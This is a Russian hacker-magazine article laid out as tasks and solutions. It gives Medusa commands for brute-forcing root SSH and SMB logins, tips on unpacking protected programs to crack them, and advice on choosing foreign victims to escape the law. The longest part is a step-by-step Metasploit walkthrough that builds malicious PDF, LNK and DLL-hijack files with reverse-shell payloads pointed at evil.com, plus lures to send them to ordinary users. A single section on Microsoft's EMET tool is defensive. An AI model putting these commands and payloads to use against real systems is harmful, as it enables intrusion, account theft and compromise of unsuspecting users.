Содержание статьи
- Задача: Пробрутить логин, пасс к POP3, FTP, SSH и т.д.
- Решение
- Задача: Быстро распаковать exe’шки, dll’ки
- Решение
- Задача: Получить телефонные номера мобильных юзеров
- Задача: Найти диапазоны IP-адресов по географической привязке
- Решение
- Задача: Включаем механизмы защиты Windows для ПО, которое их не поддерживает
- Решение
- Задача: Атакуем простых юзеров, используя client-side-сплоиты
- Решение
- INFO
Задача: Пробрутить логин, пасс к POP3, FTP, SSH и т.д.
Решение
Брутфорс – вещь достаточно полезная и приятная, особенно когда нет каких-то четких ограничений по времени. Включил брутилку – и занимайся своими делами. А через пару дней – плоды собирай. Да и вообще, ни один пен-тест без брута не обходится. Некоторые не верят в брут (а ты веришь в брут? 🙂 Типа, подбором можно заниматься годами...
Но сервисов всяких много и по работе, и по досугу. К каждому пасс требуется знать. А обычному юзеру тяжко от этого, особенно с учетом корпоративных политик, когда каждый месяц надо что-то новое придумывать.
Потому и выбирают пароли в стиле:
123456
Password
iloveyou
princess
rockyou (название «конторы»)
abc123
Qwerty
Ashley
babygirl
monkey
Кстати, эти взяты из топа анализа 32 миллионов паролей, выполненного компанией Imperva (imperva.com/ld/password_report.asp). Тут уж грех не побрутить. А главное – и инструментарий есть.
Не считая всяких специализированных вещиц, основными брутфорсерами являются олдскульная THC-Hydra (freeworld.thc.org/thc-hydra/) и более модная Medusa (foofus.net/~jmk/medusa/medusa.html). Что приятно – и та, и другая входят в BackTrack4, хотя установка их не должна вызвать каких-то проблем (есть только *nix версии).
Во многом программы похожи: модульные, «многопоточные», с хорошо настраиваемыми возможностями. Основное различие в том, как распараллеливается процесс перебора: у Medusa – потоками, у Hydra – процессами. Что дает первой некое преимущество. Но есть еще более тонкие различия, особенно в модулях, так что желательно посмотреть сравнение возможностей тулз на foofus.net/~jmk/medusa/medusa-compare.html
Можно брутить следующее: TELNET, AFP, CVS, FTP, HTTP, HTTPS, SOCKS5, HTTP-PROXY, IMAP, MS-SQL, PostgreSQL, MySQL, NCP (NetWare), NNTP, PCNFS, PcAnywhere, POP3, rexec, rlogin, rsh, Teamspeak, SMB, SMBNT, SAP/R3, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC, Cisco auth, ICQ, LDAPx и т.д.
А теперь хорошие новости: оба проекта были в неком забытьи, но теперь за них снова взялись и обещали не бросать :). Последняя версия Medusa – 2.0, Hydra – 5.7. Чего-то чрезвычайного или нового не добавили, но все же.
Пару примеров по Medus’е.
Подбираем рутовый пасс через SSH:
medusa -h victim.com -u root -P passwords.txt –M ssh
Где
- -h, -u – задаем хост и под кем логиниться;
- -P – список паролей для перебора;
- -M – к какому сервису подбираем пасс.
Любой из элементов можно заменить списком или единичным значением, указав заглавную или обычную букву соответственно.
Брутим несколько хостов по SMB:
medusa -M smbnt -C combo.txt
Содержимое combo.txt имеет вид «хост:логин:пасс». Например:
192.168.0.2:administrator:password
192.168.0.2:testuser:pass
192.168.0.3:administrator:blah
192.168.0.4:user1:foopass
Возможностей по настройке брута, реально много, так что подстроить под конкретные потребности.
Кстати, для любителей мышки, есть версия гуиверсия – XHydra :).
Словари для перебора легко найти в интернете. Их там много. Например, на passwords.ru есть с заточкой под «российскую действительность». Также есть интересный проект awlg.org/index.gen, который по заданной теме составляет список релевантных слов, используя поисковики.
Задача: Быстро распаковать exe’шки, dll’ки
Решение
Наверное, каждый, кто провел за компьютером приличный кусок своей жизни, хоть раз хотел взломать какую-нибудь полюбившуюся платную программу. Узнавал о том, как это делается. Возможно, пытался. А у кого-то это даже получилось, и он стал зарабатывать этим делом себе на хлеб с маслом :). В инете по этому поводу много мануалов.
Кстати, если есть желание познать «истины социализма», то почитай цикл статей «Введение в крэкинг с нуля, используя OllyDbg» (wasm.ru/series.php?sid=17). Он большой, очень подробный, заточенный под практику и не требует каких-то особых начальных знаний. Прочтешь и поймешь – будешь на голову выше многих. Качественная вещь. Переводчикам – спасибо!
Но вернемся к задаче. Меня всегда напрягали всякие протекторы, шифровщики, пакеры у программок, когда хотелось по-быстрому поковырять функционал, пореверсить чуток. Копаться обычно времени нет. И вот, нашлось универсальное средство, решающее эти проблемы – Quick Unpack 2.2 (qunpack.ahteam.org/?p=436). Авторам – спасибо! С помощью нее можно обойти целую кучу самых распространенных шифровщиков, пакеров, протекторов, обфускаторов и восстановить исходный exe’шник. Например, восстанавливает из UPX, ASPack, PE Diminisher, PECompact, PE-PACK, PackMan, WinUPack и еще сотни других.
Из достоинств следует отметить, что восстанавливать можно также DLL’ки, есть импорт функций; можно дампить сам процесс, аттачась к нему, есть несколько OEP finder’ов, имеется поддержка скриптового языка LUA и многое другое (смотри в «хелпе»). Но это уже для тех, кто в теме :).
В основном же требуется всего пара кликов – указать файл, выбрать для него OEP finder и распаковать.
Задача: Получить телефонные номера мобильных юзеров
Решение: Цивилизация пришла и к нам. Такие технологии, как 3G и уже олдскульный GPRS, у всех на слуху, у всех в кармане. Поползать по сети с мобильника теперь совсем не проблема, ведь даже самые простые модели оснащены каким-то браузером. Да и тарифы операторов не кусаются. Вот только появляются косяки другого плана .
На прошедшей конференции «CanSecWest 2010» исследователь Collin Mulliner представил свои изыскания в области мобильных технологий (mulliner.org/security/feed/random_tales_mobile_hacker.pdf). Там много всего – от модификации читалок до DoS’а мобилок. Но в рамках нашей темы интересен раздел про раскрытие личной информации, такой как номер мобильника, например.
Из этого изыскания следует, что большинство операторов добавляют заголовки в HTTP-запросы. Это связано с тем, что когда ты выходишь в интернет с обычной трубки, то тебя пускают не напрямую в сеть, а через прокси, который и добавляет эти заголовки. В зависимости от оператора могут добавляться MSISDN (номер мобильного), IMEI (уникальный номер самого телефона) или IMSI (уникальный номер симки). У кого как. По сути, проблема в плохо сконфигурированных проксиках.
Зачем оно надо (в благих целях) – не совсем понятно. В злых – вариантов много, конфиденциальная информация, как-никак. Особенно с учетом того, что по мобильнику очень легко вычислить данные владельца.
Протестить своего оператора можно тут – mulliner.org/pc.cgi. Я проверил Билайн – получил номер мобильника, его модель, примерное положение. Думаю, у остальных ситуация не лучше.
Радует, что проблема касается только тех, кто ползает через ваповый инет, то есть пользователи КПК, всевозможных глазофонов и 3G-модемов могут спать спокойно, так как их не пропускают через злосчастный прокси.
Задача: Найти диапазоны IP-адресов по географической привязке
Решение
Согласись, зачастую нам все равно, кто будет нашей жертвой :). Особенно, если нам требуется получить много машин и/или мы ищем их какими-то автоматизированными способами. А чтобы защитить себя от длинных рук правосудия, мы, конечно же, используем всякие VPN’ы, проксики и другие средства для поддержания личной анонимности. Хорошим дополнением к перечисленному будет тот факт, что наши жертвы находятся в другой стане или на другом континенте. Тогда негативного фидбека можно не опасаться.
Задача на деле простая, и не совсем понятно, почему она вызывает у людей какие-то трудности.
Есть множество сайтов типа ipaddresslocation.org, worldips.info, где всего лишь требуется выбрать страну и нам покажут диапазоны IP-адресов.
К тому же, у регистраторов (RIPE, RIPN, etc.) есть поиск по базам. У RIPN’а (ru-center) он выделился в сайд-проект ipgeobase.ru. Так что мы можем найти диапазон, принадлежащий либо какой-то компании, либо какому-то конкретному лицу, либо находящийся в каком-то городе. Раздолье :). Не стоит забывать и о стандартном whois’е.
Задача: Включаем механизмы защиты Windows для ПО, которое их не поддерживает
Решение
Если ты был на CC’10, то наверняка посетил и проникся семинаром Алексея Синцова – «Обход защитных механизмов в ОС Windows». В зависимости от того, за какой баррикадой находишься ты, тебе могло стать либо радостно, либо страшно :). Доклад классный, его можно найти на party10.cc.org.ru.
Подведем итог: микрософтовцы, в общем, молодцы – внедрили в Win7 множество разных механизмов. И в определенных ситуациях можно даже создать «непробиваемую» систему. Вот только основная проблема в том, что для использования этих механизмов и само ПО, и все его модули должны быть собраны с их поддержкой.
А сторонние производители (даже гранды, например, Adobe, Mozillа) с этим грешат. В прошлом номере я писал о том, в каком широко распространенном ПО отсутствует поддержка DEP, ASLR и т.д.
Что еще хуже – конечному пользователю на это особо не повлиять. Типа, исходников нет – перекомпилить не можешь. Но так было до недавнего времени.
Возрадуемся! MS выпустила неофициальную тулзу, а точнее, ее вторую версию, которая поможет нам подключать необходимые механизмы (и даже больше) для процессов, вне зависимости от сборки программы. Имя ей – EMET 2.0, Enhanced Mitigation Experience Toolkit (blogs.technet.com/b/srd/archive/2010/09/02/enhanced-mitigation-experience-toolkit-emet-v2-0-0.aspx)
С помощью нее можно как настроить общие политики и включить DEP, SEHOP, ASLR для всей системы, так и выполнить настройки для конкретного приложения. Если точнее, то она позволяет включить для ПО и его модулей (вне зависимости от того, с какими опциями они собраны) следующие возможности: стандартные DEP, ASLR, SEHOP, а также защиту от heapspay’ев и шеллкодов.
Надо, конечно, понимать, что не все ПО будет корректно работать. Но в определенных ситуациях это помогает. Пример есть на сайте MS: 0day-эксплойт для Acrobat Reader под Win7 с обходом DEP, используя ROP, не работает, так как не-ASLR-библиотека была смещена в памяти EMET’ом (blogs.technet.com/b/srd/archive/2010/09/10/use-emet-2-0-to-block-the-adobe-0-day-exploit.aspx)
- Видео по теме там же: technet.microsoft.com/en-us/security/ff859539.aspx
Программа работает минимум на WinXP c SP3, но поддержки SEHOP и ASLR тебе это не даст. Так что полную радость можно получить только на Win7 и Win2008.
Задача: Атакуем простых юзеров, используя client-side-сплоиты
Решение
Компьютеры теперь везде и вся. Несчастных юзеров полным-полно. Почему несчастных? Да потому что во многом они стали основной целью для «хакерских атак» :). Особенно с развитием всяких систем переводов, интернет-банкинга и других видов электронных денег. Теперь снять профит с обычного юзера – не проблема. И это уже не считая классики типа спама, ботнетов, DoS’ов, кражи конфиденциально информации. Антивирусы, фаеры, IDS’ы, системы обновления ПО, сэндбоксы спасают только небольшую толпу продвинутых юзеров/фирм, так как их надо и настроить, и правильно реагировать на угрозы, и купить само ПО. В итоге имеем широкий выбор из миллионов менеджеров/бухгалтеров для «работы» с ними :).
А тут еще и реально критические уязвимости от таких контор, как Microsoft и Adobe, чье ПО является де-факто стандартом по миру. Да, в этом смысле лето было богатым!
В качестве примера я приведу три сплоита: Adobe Acrobat PDF Cooltype Sing (версии <=9.3.4/8.2.4), MS DLL Hijacking, MS LNK сплоит(MS10-046). Описание подробностей сплоитов ты можешь прочитать в «Обзоре эксплойтов» от Алексея Синцова в этом и в прошлом номерах.
Как ни странно, все примеры реализованы с помощью Metasploit Framework. Тут надо отдать должное создателям MSF – они чрезвычайно быстро стали добавлять сплоиты к самым массовым критическим уязвимостям. Некоторые реализации уязвимостей и вовсе появляются сразу в MSF, без сторонних PoC’ов. Все три перечисленные уязвимости были 0-day, когда попали в MSF. Сейчас уже есть кое-какие патчи, но вернемся к делу.
1) Adobe Acrobat PDF Cooltype Sing. Adobe этим летом дал миру несколько суровых дыр. Это одна из них. Заходим в msfconsole и:
Выбираем сплоит:
msf > use exploit/windows/fileformat/adobe_cooltype_sing
Задаем имя файла:
msf > set FILENAME xakep_ubileinyi_vypusk.pdf
Куда сохраняем? В home:
msf > set OUTPUTPATH ~
Выбираем нагрузку и ее настройки:
msf > set PAYLOAD windows/shell/reverse_tcp
msf > set LHOST evil.com
msf > set LPORT 80
Теперь на наш evil.com вешаем netcat, например, и посылаем жертве файлик по почте.
Простой реверсовый шелл нужен, во-первых, чтобы обойти NAT, файер, а во-вторых, чтобы не привязываться к процессу (чтобы соединение не оборвалось при закрытии Acrobat Reader’а).
Есть аналогичный сплоит, но проводящий атаку через браузер и Adobe’овский плагин к нему – exploit/windows/browser/adobe_cooltype_sing.
2) MS LNK сплоит (MS10-046). Сплоит из разряда фич 🙂
Выбираем сплоит:
msf >use windows/browser/ms10_046_shortcut_icon_dllloader
Настраиваем пэйлоад:
msf >set PAYLOAD windows/meterpreter/reverse_tcp
msf >set LHOST 192.168.0.101
По сути, сплоит поднимает WebDAV и кидает туда ярлыки. В результате либо даем бедному пользователю полученную ссылку, либо делаем ярлычок на ресурс. То есть сплоит из локального стал удаленным (через шару и WebDAV). Павним бедного юзера – ему вряд ли что-то поможет :).
Злую DLL’ку для этого и следующего сплоита можно создать и ручками. Ярлычок, понятное дело, тоже.
$msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 D > evil.dll
Где
- windows/meterpreter/reverse_tcp – название нагрузки,
- LHOST=192.168.0.101 – настройки
- D – указываем, что создаем DLL’ку;
- evil.dll – имя итогового файла.
3) MS DLL Hijacking
Это очень забавная вещь! С ее помощью мы фактически можем «превратить» любой миролюбивый формат файла во что-то злое. Пришлют тебе файлы с какой-нибудь презентацией или чертежами AutoCAD’а, например. А среди них какая-то библиотечка валяется. Бывает ведь. Ты, конечно же, запустишь сам чертеж, а тут – бац! – и у тебя бэкдор. Хорошее дело!
Подробное описание «почему и зачем так» смотри на следующей странице у Алексея Синцова :).
А теперь – немного практики.
Выбираем сплоит:
msf > use windows/browser/webdav_dll_hijacker
Задаем имя файлов:
msf > set BASENAME policy
Задаем расширение файла:
msf > set EXTENSIONS ppt
Имя для шары:
msf > set SHARENAME docs
Нагрузка:
msf > set PAYLOAD windows/meterpreter/bind_tcp
После этого либо впариваем жертве ссылку на шару – \\192.168.0.101\docs\, либо на HTTP-сервак – http://192.168.0.101:80. Жертва открывает файлик – мы получаем шелл. Честный обмен :).
Опять же, по сути, локальная уязвимость превратилась в удаленную за счет шары и WebDAV. Вот такими тремя client-site багами мы можем положить на лопатки все версии Windows, от XP до 7. Антивири и файеры – тоже не помеха при небольших доработках методов :).
INFO
Все описанные программы и файл со ссылками во всей рубрике ищи на диске.